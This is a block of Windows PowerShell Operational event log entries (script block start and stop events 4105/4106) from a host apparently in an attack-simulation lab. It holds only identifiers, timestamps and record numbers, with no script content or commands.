Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028414
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028413
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028394
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028393
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028392
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028391
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028390
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028389
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028388
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028387
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028386
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028385
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028382
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028381
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028372
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028371
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028366
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028365
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
